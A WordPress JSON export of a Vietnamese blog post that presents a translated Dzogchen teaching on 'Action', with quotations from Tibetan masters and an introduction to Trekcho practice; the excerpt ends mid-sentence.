{"id":3759,"date":"2023-11-03T07:12:51","date_gmt":"2023-11-03T00:12:51","guid":{"rendered":"https:\/\/reikivietnam.org\/wordpress\/?p=3759"},"modified":"2024-12-21T00:51:35","modified_gmt":"2024-12-20T17:51:35","slug":"dai-toan-thien-hanh","status":"publish","type":"post","link":"https:\/\/reikivietnam.org\/?p=3759","title":{"rendered":"\u0110\u1ea1i To\u00e0n thi\u1ec7n &#8211; H\u00e0nh"},"content":{"rendered":"<p>\u0110\u1ea1i To\u00e0n thi\u1ec7n &#8211; H\u00e0nh<\/p>\n<p>&nbsp;<\/p>\n<p>H\u00c0NH<\/p>\n<p>Khi tu\u00e2n theo lu\u1ed3ng Rigpa tr\u1edf th\u00e0nh th\u1ef1c t\u1ea1i, n\u00f3 b\u1eaft \u0111\u1ea7u th\u1ea5m nhu\u1ea7n h\u00e0nh \u0111\u1ed9ng v\u00e0 cu\u1ed9c s\u1ed1ng h\u00e0ng ng\u00e0y c\u1ee7a ng\u01b0\u1eddi tu luy\u1ec7n, v\u00e0 ph\u00e1t sinh s\u1ef1 \u1ed5n \u0111\u1ecbnh v\u00e0 tin t\u01b0\u1edfng s\u00e2u, \u0110\u1ea1i s\u01b0 Dudjom n\u00f3i:<\/p>\n<p>&nbsp;<\/p>\n<p>H\u00e0nh \u0111\u1ed9ng l\u00e0 vi\u1ec7c quan s\u00e1t th\u1ef1c s\u1ef1 c\u00e1c \u00fd ngh\u0129 ri\u00eang c\u1ee7a b\u1ea1n, d\u00f9 t\u1ed1t hay x\u1ea5u, khi nh\u00ecn v\u00e0o b\u1ea3n t\u00ednh th\u1ef1c c\u1ee7a b\u1ea5t k\u00ec \u00fd ngh\u0129 n\u00e0o c\u00f3 th\u1ec3 n\u1ea3y sinh, kh\u00f4ng d\u00f5i v\u00e0o qu\u00e1 kh\u1ee9, kh\u00f4ng m\u1eddi t\u01b0\u01a1ng lai, kh\u00f4ng cho ph\u00e9p b\u1ea5t k\u00ec b\u00e1m v\u00edu n\u00e0o v\u00e0o nh\u1eefng kinh nghi\u1ec7m vui v\u1ebb, c\u0169ng kh\u00f4ng b\u1ecb ki\u1ec7t s\u1ee9c b\u1edfi nh\u1eefng t\u00ecnh hu\u1ed1ng t\u1ed3i t\u1ec7. Trong khi l\u00e0m nh\u01b0 v\u1eady, b\u1ea1n c\u1ed1 \u0111\u1ea1t t\u1edbi v\u00e0 duy tr\u00ec trong tr\u1ea1ng th\u00e1i c\u00e2n b\u1eb1ng l\u1edbn, n\u01a1i m\u1ecdi th\u1ee9 t\u1ed1t v\u00e0 x\u1ea5u, an b\u00ecnh v\u00e0 hi\u1ec3m nguy, kh\u00f4ng c\u00f3 c\u0103n c\u01b0\u1edbc th\u1ef1c.<\/p>\n<p>&nbsp;<\/p>\n<p>Vi\u1ec7c nh\u1eadn ra Nh\u00ecn m\u1ed9t c\u00e1ch tinh t\u1ebf nh\u01b0ng \u0111\u1ea7y \u0111\u1ee7 l\u00e0m bi\u1ebfn \u0111\u1ed5i c\u00e1i nh\u00ecn c\u1ee7a b\u1ea1n v\u1ec1 m\u1ecdi th\u1ee9. C\u00e0ng ng\u00e0y t\u00f4i c\u00e0ng \u0111i t\u1edbi nh\u1eadn ra c\u00e1ch c\u00e1c \u00fd ngh\u0129 v\u00e0 quan ni\u1ec7m to\u00e0n l\u00e0 c\u00e1c th\u1ee9 ng\u0103n ch\u00fang ta kh\u1ecfi bao gi\u1edd c\u0169ng hi\u1ec7n h\u1eefu, ho\u00e0n to\u00e0n \u0111\u01a1n gi\u1ea3n, trong c\u00e1i tuy\u1ec7t \u0111\u1ed1i. B\u00e2y gi\u1edd, t\u00f4i th\u1ea5y r\u00f5 r\u00e0ng t\u1ea1i sao c\u00e1c th\u1ea7y th\u01b0\u1eddng n\u00f3i th\u1ebf: &#8220;C\u1ed1 g\u1eafng h\u1ebft s\u1ee9c kh\u00f4ng t\u1ea1o ra qu\u00e1 nhi\u1ec1u hi v\u1ecdng v\u00e0 s\u1ee3,&#8221; v\u00ec ch\u00fang ch\u1ec9 l\u00e0m sinh ra ng\u00e0y c\u00e0ng nhi\u1ec1u chuy\u1ec7n t\u1ea7m ph\u00e0o t\u00e2m tr\u00ed. Khi Nh\u00ecn c\u00f3 \u0111\u00f3, c\u00e1c \u00fd ngh\u0129 \u0111\u01b0\u1ee3c th\u1ea5y v\u1ec1 \u0111i\u1ec1u ch\u00fang th\u1ef1c s\u1ef1 l\u00e0 g\u00ec: tr\u00f4i n\u1ed5i v\u00e0 trong su\u1ed1t, v\u00e0 ch\u1ec9 l\u00e0 t\u01b0\u01a1ng \u0111\u1ed1i. B\u1ea1n th\u1ea5y qua m\u1ecdi th\u1ee9 m\u1ed9t c\u00e1ch tr\u1ef1c ti\u1ebfp, d\u01b0\u1eddng nh\u01b0 b\u1ea1n c\u00f3 con m\u1eaft nh\u00ecn b\u1eb1ng tia X. B\u1ea1n kh\u00f4ng b\u00e1m theo c\u00e1c \u00fd ngh\u0129 v\u00e0 c\u1ea3m x\u00fac hay b\u00e1c b\u1ecf ch\u00fang, nh\u01b0ng \u0111\u00f3n ch\u00e0o t\u1ea5t c\u1ea3 ch\u00fang b\u00ean trong v\u00f2ng \u00f4m bao la c\u1ee7a Rigpa. \u0110i\u1ec1u m\u00e0 tr\u01b0\u1edbc \u0111\u00e2y b\u1ea1n coi l\u00e0 nghi\u00eam ch\u1ec9nh th\u1ebf &#8211; tham v\u1ecdng, k\u1ebf ho\u1ea1ch, mong \u0111\u1ee3i, ho\u00e0i nghi v\u00e0 \u0111am m\u00ea &#8211; kh\u00f4ng b\u1eaft gi\u1eef b\u1ea1n m\u1ed9t c\u00e1ch s\u00e2u s\u1eafc v\u00e0 lo \u00e2u n\u1eefa, v\u00ec Nh\u00ecn \u0111\u00e3 gi\u00fap b\u1ea1n th\u1ea5y c\u00e1i v\u00f4 t\u00edch s\u1ef1 v\u00e0 l\u1ea1c l\u00f5ng c\u1ee7a t\u1ea5t c\u1ea3 ch\u00fang, v\u00e0 l\u00e0m sinh ra trong b\u1ea1n tinh th\u1ea7n t\u1eeb b\u1ecf th\u1ef1c.<\/p>\n<p>V\u1eabn c\u00f2n trong s\u1ef1 s\u00e1ng t\u1ecf v\u00e0 tin t\u01b0\u1edfng c\u1ee7a Rigpa cho ph\u00e9p m\u1ecdi \u00fd ngh\u0129 v\u00e0 c\u1ea3m x\u00fac c\u1ee7a b\u1ea1n ph\u00f3ng th\u00edch m\u1ed9t c\u00e1ch t\u1ef1 nhi\u00ean v\u00f4 n\u1ed7 l\u1ef1c b\u00ean trong s\u1ef1 m\u1edf r\u1ed9ng bao la c\u1ee7a n\u00f3, nh\u01b0 vi\u1ebft tr\u00ean n\u01b0\u1edbc hay v\u1ebd trong b\u1ea7u tr\u1eddi. N\u1ebfu b\u1ea1n ho\u00e0n thi\u1ec7n th\u1ef1c s\u1ef1 tu luy\u1ec7n n\u00e0y, nghi\u1ec7p kh\u00f4ng c\u00f3 c\u01a1 h\u1ed9i ch\u00fat n\u00e0o \u0111\u1ec3 \u0111\u01b0\u1ee3c t\u00edch lu\u1ef9; v\u00e0 trong tr\u1ea1ng th\u00e1i t\u1eeb b\u1ecf v\u00f4 m\u1ee5c \u0111\u00edch, v\u00f4 t\u01b0 n\u00e0y, \u0111i\u1ec1u m\u00e0 \u0110\u1ea1i s\u01b0 Dudjom g\u1ecdi l\u00e0 &#8220;tho\u1ea3i m\u00e1i kh\u00f4ng b\u1ecb \u1ee9c ch\u1ebf, tr\u1ea7n tr\u1ee5i,&#8221; lu\u1eadt nghi\u1ec7p c\u1ee7a nh\u00e2n qu\u1ea3 kh\u00f4ng c\u00f2n tr\u00f3i bu\u1ed9c b\u1ea1n theo b\u1ea5t k\u00ec c\u00e1ch n\u00e0o.<\/p>\n<p>\u0110\u1eebng gi\u1ea3 \u0111\u1ecbnh, d\u00f9 b\u1ea1n l\u00e0m b\u1ea5t k\u00ec c\u00e1i g\u00ec, r\u1eb1ng \u0111i\u1ec1u n\u00e0y l\u00e0, hay c\u00f3 th\u1ec3 l\u00e0, d\u1ec5 d\u00e0ng. C\u1ef1c k\u00ec kh\u00f3 an \u0111\u1ecbnh kh\u00f4ng b\u1ecb sao l\u00e3ng trong b\u1ea3n t\u00ednh t\u00e2m tr\u00ed, cho d\u00f9 trong m\u1ed9t kho\u1ea3nh kh\u1eafc, \u0111\u1ec3 m\u1ed9t m\u00ecnh t\u1ef1 gi\u1ea3i tho\u00e1t ri\u00eang m\u1ed9t \u00fd ngh\u0129 hay c\u1ea3m x\u00fac khi n\u00f3 n\u1ea3y sinh. Ch\u00fang ta th\u01b0\u1eddng gi\u1ea3 \u0111\u1ecbnh r\u1eb1ng \u0111\u01a1n gi\u1ea3n v\u00ec ch\u00fang ta hi\u1ec3u c\u00e1i g\u00ec \u0111\u00f3 v\u1ec1 m\u1eb7t tr\u00ed tu\u1ec7, hay ngh\u0129 ch\u00fang ta hi\u1ec3u, ch\u00fang ta \u0111\u00e3 th\u1ef1c t\u1ea1i nh\u1eadn ra n\u00f3. \u0110\u00e2y l\u00e0 \u1ea3o t\u01b0\u1edfng l\u1edbn. N\u00f3 \u0111\u00f2i h\u1ecfi s\u1ef1 ch\u00edn ch\u1eafn m\u00e0 ch\u1ec9 nhi\u1ec1u n\u0103m nghe, suy ng\u1eabm, suy t\u01b0, thi\u1ec1n v\u00e0 tu luy\u1ec7n l\u00e2u d\u00e0i m\u1edbi c th\u1ec3 ch\u00edn mu\u1ed3i. V\u00e0 \u0111i\u1ec1u c\u00f3 th\u1ec3 \u0111\u01b0\u1ee3c n\u00f3i ngay l\u00e0 tu luy\u1ec7n \u0110\u1ea1i To\u00e0n thi\u1ec7n bao gi\u1edd c\u0169ng \u0111\u00f2i h\u1ecfi c\u00f3 h\u01b0\u1edbng d\u1eabn v\u00e0 ch\u1ec9 b\u1ea3o c\u1ee7a m\u1ed9t th\u1ea7y \u0111\u1ee7 ph\u1ea9m ch\u1ea5t.<\/p>\n<p>B\u1eb1ng kh\u00f4ng s\u1ebd c\u00f3 nguy hi\u1ec3m l\u1edbn, \u0111\u01b0\u1ee3c g\u1ecdi theo truy\u1ec1n th\u1ed1ng l\u00e0 &#8220;m\u1ea5t H\u00e0nh trong Nh\u00ecn.&#8221; Gi\u00e1o hu\u1ea5n cao si\u00eau v\u00e0 m\u1ea1nh m\u1ebd nh\u01b0 \u0110\u1ea1i To\u00e0n thi\u1ec7n ch\u1ee9a r\u1ee7i ro c\u1ef1c l\u1edbn. T\u1ef1 l\u1eeba b\u1ea3n th\u00e2n b\u1ea1n r\u1eb1ng b\u1ea1n \u0111ang gi\u1ea3i tho\u00e1t c\u00e1c \u00fd ngh\u0129 v\u00e0 c\u1ea3m x\u00fac, khi th\u1ef1c ra b\u1ea1n kh\u00f4ng \u1edf \u0111\u00e2u g\u1ea7n v\u1edbi vi\u1ec7c l\u00e0 c\u00f3 kh\u1ea3 n\u0103ng l\u00e0m v\u1eady, v\u00e0 ngh\u0129 r\u1eb1ng b\u1ea1n \u0111ang h\u00e0nh \u0111\u1ed9ng v\u1edbi t\u00ednh t\u1ef1 ph\u00e1t c\u1ee7a h\u00e0nh gi\u1ea3 yogi \u0110\u1ea1i To\u00e0n thi\u1ec7n th\u1ef1c th\u1ee5, n\u1ecdi \u0111i\u1ec1u b\u1ea1n \u0111ang l\u00e0m \u0111\u01a1n gi\u1ea3n t\u00edch lu\u1ef9 kh\u1ed1i l\u01b0\u1ee3ng bao la nghi\u1ec7p x\u1ea5u. Nh\u01b0 Li\u00ean Hoa Sinh n\u00f3i, v\u00e0 \u0111\u00e2y l\u00e0 th\u00e1i \u0111\u1ed9 m\u00e0 ch\u00fang ta c\u1ea7n ph\u1ea3i c\u00f3:<\/p>\n<p>&nbsp;<\/p>\n<p>M\u1eb7c d\u00f9 Nh\u00ecn c\u1ee7a ta tho\u00e1ng \u0111\u00e3ng nh\u01b0 b\u1ea7u tr\u1eddi,<\/p>\n<p>H\u00e0nh \u0111\u1ed9ng c\u1ee7a ta v\u00e0 vi\u1ec7c k\u00ednh tr\u1ecdng nh\u00e2n qu\u1ea3 l\u00e0 nh\u1ecf m\u1ecbn nh\u01b0 h\u1ea1t b\u1ed9t m\u00ec:<\/p>\n<p>&nbsp;<\/p>\n<p>C\u00e1c th\u1ea7y c\u1ee7a truy\u1ec1n th\u1ed1ng \u0110\u1ea1i To\u00e0n thi\u1ec7n \u0111\u00e3 nh\u1ea5n m\u1ea1nh \u0111i nh\u1ea5n m\u1ea1nh l\u1ea1i r\u1eb1ng kh\u00f4ng \u0111\u01b0\u1ee3c quen thu\u1ed9c to\u00e0n di\u1ec7n v\u00e0 s\u00e2u s\u1eafc v\u1ec1 &#8220;b\u1ea3n ch\u1ea5t v\u00e0 ph\u01b0\u01a1ng ph\u00e1p v\u1ec1 t\u1ef1 gi\u1ea3i tho\u00e1t&#8221; qua tu luy\u1ec7n l\u00e2u d\u00e0i, thi\u1ec1n &#8220;ch\u1ec9 d\u1eabn \u0111i xa th\u00eam tr\u00ean con \u0111\u01b0\u1eddng \u1ea3o v\u1ecdng.&#8221; \u0110i\u1ec1u n\u00e0y d\u01b0\u1eddng nh\u01b0 kh\u1eafc nghi\u1ec7t nh\u01b0ng n\u00f3 l\u00e0 ho\u00e0n c\u1ea3nh, v\u00ec ch\u1ec9 th\u01b0\u1eddng xuy\u00ean t\u1ef1 gi\u1ea3i tho\u00e1t c\u00e1c \u00fd ngh\u0129 c\u00f3 th\u1ec3 th\u1ef1c s\u1ef1 k\u1ebft th\u00fac s\u1ef1 ch\u1ebf ng\u1ef1 c\u1ee7a \u1ea3o t\u01b0\u1edfng v\u00e0 th\u1ef1c s\u1ef1 b\u1ea3o v\u1ec7 b\u1ea1n kh\u1ecfi nh\u00e0o l\u1ea1i v\u00e0o kh\u1ed5 v\u00e0 ch\u1ee9ng th\u1ea7n kinh. Kh\u00f4ng c\u00f3 ph\u01b0\u01a1ng ph\u00e1p t\u1ef1 gi\u1ea3i tho\u00e1t, b\u1ea1n s\u1ebd kh\u00f4ng c\u00f3 kh\u1ea3 n\u0103ng ch\u1ed1ng l\u1ea1i b\u1ea5t h\u1ea1nh v\u00e0 c\u00e1c ho\u00e0n c\u1ea3nh t\u1ed3i t\u1ec7 khi ch\u00fang n\u1ea3y sinh, v\u00e0 cho d\u00f9 b\u1ea1n thi\u1ec1n b\u1ea1n s\u1ebd th\u1ea5y r\u1eb1ng v\u1eabn c\u00f2n nh\u1eefng c\u1ea3m x\u00fac nh\u01b0 gi\u1eadn d\u1eef v\u00e0 ham mu\u1ed1n lan tr\u00e0n t\u1edbi. Nguy hi\u1ec3m c\u1ee7a lo\u1ea1i thi\u1ec1n kh\u00e1c m\u00e0 kh\u00f4ng c\u00f3 ph\u01b0\u01a1ng ph\u00e1p n\u00e0y l\u00e0 \u1edf ch\u1ed7 h\u1ecd tr\u1edf th\u00e0nh gi\u1ed1ng nh\u01b0 &#8220;thi\u1ec1n v\u1ec1 ch\u01b0 thi\u00ean,&#8221; \u0111i l\u1ea1c qu\u00e1 d\u1ec5 d\u00e0ng v\u00e0o vi\u1ec7c ch\u1ec9 quan t\u00e2m t\u1edbi m\u00ecnh m\u1ed9t c\u00e1ch xa hoa hay m\u00ea m\u1ea9n th\u1ee5 \u0111\u1ed9ng hay l\u01a1 \u0111\u00e3ng ki\u1ec3u n\u00e0y ki\u1ec3u kh\u00e1c, v\u00e0 kh\u00f4ng m\u1ed9t c\u00e1ch thi\u1ec1n n\u00e0o nh\u01b0 v\u1eady t\u1ea5n c\u00f4ng v\u00e0 l\u00e0m tan bi\u1ebfn \u1ea3o t\u01b0\u1edfng t\u1ea1i r\u1ec5 c\u1ee7a n\u00f3.<\/p>\n<p>Th\u1ea7y \u0110\u1ea1i To\u00e0n thi\u1ec7n v\u0129 \u0111\u1ea1i Vimalamitra \u0111\u00e3 n\u00f3i theo c\u00e1ch ch\u00ednh x\u00e1c nh\u1ea5t v\u1ec1 m\u1ee9c \u0111\u1ed9 t\u00ednh t\u1ef1 nhi\u00ean t\u0103ng l\u00ean trong gi\u1ea3i tho\u00e1t n\u00e0y: Khi l\u1ea7n \u0111\u1ea7u ti\u00ean b\u1ea1n l\u00e0m ch\u1ee7 tu luy\u1ec7n n\u00e0y, gi\u1ea3i tho\u00e1t x\u1ea3y ra \u0111\u1ed3ng th\u1eddi v\u1edbi vi\u1ec7c n\u1ea3y sinh, gi\u1ed1ng nh\u01b0 nh\u1eadn ra ng\u01b0\u1eddi b\u1ea1n c\u0169 trong \u0111\u00e1m \u0111\u00f4ng. Ho\u00e0n thi\u1ec7n v\u00e0 l\u00e0m s\u00e2u s\u1eafc tu luy\u1ec7n n\u00e0y, gi\u1ea3i tho\u00e1t x\u1ea3y ra \u0111\u1ed3ng th\u1eddi v\u1edbi n\u1ea3y sinh c\u1ee7a \u00fd ngh\u0129 v\u00e0 c\u1ea3m x\u00fac, t\u1ef1a nh\u01b0 con r\u1eafn du\u1ed7i m\u00ecnh v\u00e0 m\u1edf nh\u1eefng n\u00fat ri\u00eang c\u1ee7a n\u00f3. V\u00e0 trong tr\u1ea1ng th\u00e1i th\u00e1i l\u00e0m ch\u1ee7 cu\u1ed1i c\u00f9ng, vi\u1ec7c gi\u1ea3i tho\u00e1t t\u1ef1a nh\u01b0 k\u1ebb tr\u1ed9m \u0111i v\u00e0o nh\u00e0 tr\u1ed1ng r\u1ed7ng; b\u1ea5t k\u00ec c\u00e1i g\u00ec n\u1ea3y sinh \u0111\u1ec1u kh\u00f4ng l\u00e0m h\u1ea1i c\u0169ng kh\u00f4ng l\u1ee3i cho h\u00e0nh gi\u1ea3 yogi \u0110\u1ea1i To\u00e0n thi\u1ec7n th\u1ef1c th\u1ee5.<\/p>\n<p>Ngay c\u1ea3 \u1edf h\u00e0nh gi\u1ea3 yogi v\u0129 \u0111\u1ea1i nh\u1ea5t, bu\u1ed3n v\u00e0 vui v\u1eabn n\u1ea3y sinh nh\u01b0 tr\u01b0\u1edbc \u0111\u00e2y. Kh\u00e1c bi\u1ec7t gi\u1eefa ng\u01b0\u1eddi th\u01b0\u1eddng v\u00e0 h\u00e0nh gi\u1ea3 yogi l\u00e0 \u1edf c\u00e1ch h\u1ecd nh\u00ecn c\u00e1c c\u1ea3m x\u00fac v\u00e0 ph\u1ea3n \u1ee9ng l\u1ea1i ch\u00fang. Ng\u01b0\u1eddi th\u01b0\u1eddng s\u1ebd ch\u1ea5p nh\u1eadn hay b\u00e1c b\u1ecf ch\u00fang theo b\u1ea3n n\u0103ng v\u00e0 do v\u1eady l\u00e0m n\u1ea3y sinh g\u1eafn b\u00f3 hay kh\u00f4ng th\u00edch m\u00e0 \u0111i\u1ec1u n\u00e0y s\u1ebd l\u00e0m t\u00edch lu\u1ef9 th\u00eam nghi\u1ec7p x\u1ea5u. Tuy nhi\u00ean h\u00e0nh gi\u1ea3 yogi c\u1ea3m nh\u1eadn m\u1ecdi th\u1ee9 n\u1ea3y sinh trong tr\u1ea1ng th\u00e1i t\u1ef1 nhi\u00ean, tinh kh\u00f4i c\u1ee7a n\u00f3, kh\u00f4ng cho ph\u00e9p n\u1eafm gi\u1eef \u0111i v\u00e0o trong c\u1ea3m nh\u1eadn c\u1ee7a m\u00ecnh.<\/p>\n<p>\u0110\u1ea1i s\u01b0 Dilgo Khyentse m\u00f4 t\u1ea3 h\u00e0nh gi\u1ea3 yogi \u0111i lang thang qua v\u01b0\u1eddn. Anh ta ho\u00e0n to\u00e0n th\u1ee9c t\u1ec9nh v\u1edbi v\u1ebb r\u1ef1c r\u1ee1 v\u00e0 \u0111\u1eb9p \u0111\u1ebd c\u1ee7a nh\u1eefng b\u00f4ng hoa, v\u00e0 s\u1ef1 h\u1ea5p d\u1eabn c\u1ee7a m\u00e0u s\u1eafc c\u1ee7a ch\u00fang, h\u00ecnh d\u00e1ng, h\u01b0\u01a1ng th\u01a1m c\u1ee7a ch\u00fang. Nh\u01b0ng kh\u00f4ng c\u00f3 d\u1ea5u v\u1ebft g\u00ec v\u1ec1 n\u1eafm gi\u1eef c\u0169ng nh\u01b0 b\u1ea5t k\u00ec &#8220;h\u1eadu \u00fd&#8221; n\u00e0o trong t\u00e2m tr\u00ed anh ta. Nh\u01b0 \u0110\u1ea1i s\u01b0 Dudjom n\u00f3i:<\/p>\n<p>&nbsp;<\/p>\n<p>B\u1ea5t k\u00ec c\u1ea3m nh\u1eadn n\u00e0o n\u1ea3y sinh, b\u1ea1n ph\u1ea3i gi\u1ed1ng nh\u01b0 \u0111\u1ee9a tr\u1ebb nh\u1ecf \u0111i v\u00e0o trong ng\u00f4i \u0111\u1ec1n trang ho\u00e0ng l\u1ed9ng l\u1eaby; n\u00f3 nh\u00ecn, nh\u01b0ng vi\u1ec7c n\u1eafm gi\u1eef kh\u00f4ng chen v\u00e0o c\u1ea3m nh\u1eadn c\u1ee7a n\u00f3. Cho n\u00ean b\u1ea1n b\u1ecf m\u1ecdi th\u1ee9 c\u00f2n t\u01b0\u01a1i t\u1eafn, t\u1ef1 nhi\u00ean, s\u1ed1ng \u0111\u1ed9ng v\u00e0 kh\u00f4ng b\u1ecb l\u00e0m h\u1ecfng. Khi b\u1ea1n b\u1ecf m\u1ecdi th\u1ee9 \u1edf trong tr\u1ea1ng th\u00e1i ri\u00eang c\u1ee7a n\u00f3, th\u1ebf th\u00ec h\u00ecnh d\u00e1ng c\u1ee7a n\u00f3 kh\u00f4ng thay \u0111\u1ed5i, m\u00e0u s\u1eafc c\u1ee7a n\u00f3 kh\u00f4ng t\u00e0n phai v\u00e0 v\u1ebb r\u1ef1c r\u1ee1 c\u1ee7a n\u00f3 kh\u00f4ng bi\u1ebfn m\u1ea5t. B\u1ea5t k\u00ec c\u00e1i g\u00ec xu\u1ea5t hi\u1ec7n \u0111\u1ec1u kh\u00f4ng b\u1ecb \u0111\u1ed5i m\u1ea7u b\u1edfi b\u1ea5t k\u00ec n\u1eafm gi\u1eef n\u00e0o, cho n\u00ean th\u1ebf th\u00ec m\u1ecdi th\u1ee9 m\u00e0 b\u1ea1n c\u1ea3m nh\u1eadn n\u1ea3y sinh nh\u01b0 tr\u00ed hu\u1ec7 tr\u1ea7n tr\u1ee5i c\u1ee7a Rigpa, c\u00e1i l\u00e0 t\u00ednh kh\u00f4ng th\u1ec3 ph\u00e2n chia c\u1ee7a ch\u00f3i s\u00e1ng v\u00e0 tr\u1ed1ng r\u1ed7ng.<\/p>\n<p>&nbsp;<\/p>\n<p>Ni\u1ec1m tin, s\u1ef1 m\u00e3n nguy\u1ec7n, s\u1ef1 an b\u00ecnh bao la, s\u1ee9c m\u1ea1nh, t\u00ednh h\u00e0i h\u01b0\u1edbc s\u00e2u s\u1eafc, v\u00e0 c\u00e1i ch\u1eafc ch\u1eafn n\u1ea3y sinh tr\u1ef1c ti\u1ebfp t\u1eeb vi\u1ec7c nh\u1eadn ra c\u00e1i Nh\u00ecn c\u1ee7a Rigpa l\u00e0 kho b\u00e1u l\u1edbn nh\u1ea5t c\u1ee7a cu\u1ed9c s\u1ed1ng, l\u00e0 h\u1ea1nh ph\u00fac t\u1ed1i th\u01b0\u1ee3ng, m\u00e0 m\u1ed9t khi \u0111\u01b0\u1ee3c \u0111\u1ea1t t\u1edbi \u0111\u01b0\u1ee3c, kh\u00f4ng c\u00e1i g\u00ec c\u00f3 th\u1ec3 ph\u00e1 hu\u1ef7 \u0111\u01b0\u1ee3c, ngay c\u1ea3 ch\u1ebft. \u0110\u1ea1i s\u01b0 Dilgo Khyentse n\u00f3i:<\/p>\n<p>&nbsp;<\/p>\n<p>M\u1ed9t khi b\u1ea1n \u0111\u00e3 c\u00f3 Nh\u00ecn, m\u1eb7c d\u00f9 c\u1ea3m nh\u1eadn \u1ea3o t\u01b0\u1edfng c\u1ee7a lu\u00e2n h\u1ed3i c\u00f3 th\u1ec3 n\u1ea3y sinh trong t\u00e2m tr\u00ed b\u1ea1n, b\u1ea1n s\u1ebd gi\u1ed1ng nh\u01b0 b\u1ea7u tr\u1eddi; khi c\u1ea7u v\u1ed3ng xu\u1ea5t hi\u1ec7n tr\u01b0\u1edbc n\u00f3; n\u00f3 kh\u00f4ng l\u1ea5y l\u00e0m h\u00e3nh di\u1ec7n, v\u00e0 khi m\u00e2y m\u00f9 xu\u1ea5t hi\u1ec7n, n\u00f3 c\u0169ng kh\u00f4ng th\u1ea5t v\u1ecdng. C\u00f3 c\u1ea3m gi\u00e1c s\u00e2u s\u1eafc c\u1ee7a m\u00e3n nguy\u1ec7n. B\u1ea1n c\u01b0\u1eddi th\u1ea7m trong l\u00f2ng khi b\u1ea1n th\u1ea5y v\u1ebb ngo\u00e0i c\u1ee7a lu\u00e2n h\u1ed3i v\u00e0 ni\u1ebft b\u00e0n; Nh\u00ecn s\u1ebd gi\u1eef cho b\u1ea1n th\u01b0\u1eddng xuy\u00ean t\u01b0\u01a1i c\u01b0\u1eddi, v\u1edbi n\u1ee5 c\u01b0\u1eddi b\u00ean trong nh\u1ecf b\u00e9 n\u1edf ra m\u1ecdi l\u00fac.<\/p>\n<p>&nbsp;<\/p>\n<p>Nh\u01b0 \u0110\u1ea1i s\u01b0 Dudjom n\u00f3i: &#8220;Sau khi \u0111\u00e3 l\u00e0m thu\u1ea7n khi\u1ebft \u1ea3o t\u01b0\u1edfng l\u1edbn, b\u00f3ng t\u1ed1i c\u1ee7a tim, \u00e1nh s\u00e1ng to\u1ea3 ra t\u1eeb m\u1eb7t tr\u1eddi kh\u00f4ng b\u1ecb che m\u1edd li\u00ean t\u1ee5c b\u1eebng l\u00ean.&#8221;<\/p>\n<p>&nbsp;<\/p>\n<p>Ai \u0111\u00f3 nh\u1eadp t\u00e2m nh\u1eefng ch\u1ec9 d\u1eabn c\u1ee7a quy\u1ec3n s\u00e1ch n\u00e0y v\u1ec1 \u0110\u1ea1i To\u00e0n thi\u1ec7n v\u00e0 th\u00f4ng \u0111i\u1ec7p c\u1ee7a n\u00f3 v\u1ec1 vi\u1ec7c ch\u1ebft, t\u00f4i hi v\u1ecdng, s\u1ebd \u0111\u01b0\u1ee3c h\u1ee9ng kh\u1edfi \u0111\u1ec3 \u0111i t\u00ecm, th\u1ea5y, v\u00e0 \u0111i theo th\u1ea7y c\u00f3 ph\u1ea9m ch\u1ea5t, v\u00e0 \u0111\u1ea3m nh\u1eadn cam k\u1ebft v\u1edbi th\u1ea7y \u0111\u1ec3 ho\u00e0n th\u00e0nh hu\u1ea5n luy\u1ec7n. Trung t\u00e2m c\u1ee7a hu\u1ea5n luy\u1ec7n \u0110\u1ea1i To\u00e0n thi\u1ec7n l\u00e0 hai tu luy\u1ec7n, <em>Trekcho<\/em> v\u00e0 <em>Togal<\/em>, \u0111i\u1ec1u kh\u00f4ng th\u1ec3 thi\u1ebfu \u0111\u1ec3 hi\u1ec3u s\u00e2u \u0111i\u1ec1u x\u1ea3y ra trong c\u00e1c trung \u1ea5m. T\u00f4i ch\u1ec9 c\u00f3 th\u1ec3 \u0111\u01b0a ra \u1edf \u0111\u00e2y t\u00f3m t\u1eaft v\u1ec1 gi\u1edbi thi\u1ec7u v\u00e0o ch\u00fang. Gi\u1ea3i th\u00edch \u0111\u1ea7y \u0111\u1ee7 ch\u1ec9 \u0111\u01b0\u1ee3c trao t\u1eeb th\u1ea7y cho \u0111\u1ec7 t\u1eed, khi \u0111\u1ec7 t\u1eed \u0111\u00e3 cam k\u1ebft to\u00e0n t\u00e2m theo gi\u00e1o hu\u1ea5n, v\u00e0 \u0111\u00e3 \u0111\u1ea1t t\u1edbi giai \u0111o\u1ea1n n\u00e0o \u0111\u00f3 c\u1ee7a s\u1ef1 ph\u00e1t tri\u1ec3n. \u0110i\u1ec1u t\u00f4i \u0111\u00e3 gi\u1ea3i th\u00edch trong ch\u01b0\u01a1ng n\u00e0y, &#8220;B\u1ea3n ch\u1ea5t b\u00ean trong nh\u1ea5t,&#8221; l\u00e0 ph\u1ea7n trung t\u00e2m c\u1ee7a tu luy\u1ec7n Trekcho.<\/p>\n<p><em>Trekcho<\/em> ng\u1ee5 \u00fd c\u1eaft \u0111\u1ee9t \u1ea3o t\u01b0\u1edfng m\u1ed9t c\u00e1ch ho\u00e0n to\u00e0n tri\u1ec7t \u0111\u1ec3, tr\u1ef1c ti\u1ebfp. V\u1ec1 b\u1ea3n ch\u1ea5t \u1ea3o t\u01b0\u1edfng b\u1ecb c\u1eaft b\u1edfi l\u1ef1c kh\u00f4ng c\u1ea3n n\u1ed5i c\u1ee7a c\u00e1i Nh\u00ecn c\u1ee7a Rigpa, nh\u01b0 dao c\u1eaft su\u1ed1t qua t\u1ea3ng b\u01a1 hay nh\u01b0 v\u00f5 s\u0129 karate ch\u00e9m v\u1ee1 ch\u1ed3ng g\u1ea1ch. To\u00e0n th\u1ec3 dinh th\u1ef1 t\u01b0\u1edfng t\u01b0\u1ee3ng c\u1ee7a \u1ea3o t\u01b0\u1edfng s\u1ee5p \u0111\u1ed5, d\u01b0\u1eddng nh\u01b0 b\u1ea1n \u0111\u00e3 \u0111\u1eadp v\u1ee1 tan t\u00e0nh ph\u1ea7n trung t\u00e2m c\u1ee7a n\u00f3. \u1ea2o t\u01b0\u1edfng b\u1ecb c\u1eaft \u0111\u1ee9t, v\u00e0 s\u1ef1 thu\u1ea7n khi\u1ebft nguy\u00ean thu\u1ef7 c\u00f9ng \u0111\u01a1n gi\u1ea3n t\u1ef1 nhi\u00ean c\u1ee7a b\u1ea3n t\u00ednh t\u00e2m tr\u00ed \u0111\u01b0\u1ee3c l\u1ed9 ra tr\u1ea7n tr\u1ee5i.<\/p>\n<p>Ch\u1ec9 khi th\u1ea7y \u0111\u00e3 x\u00e1c 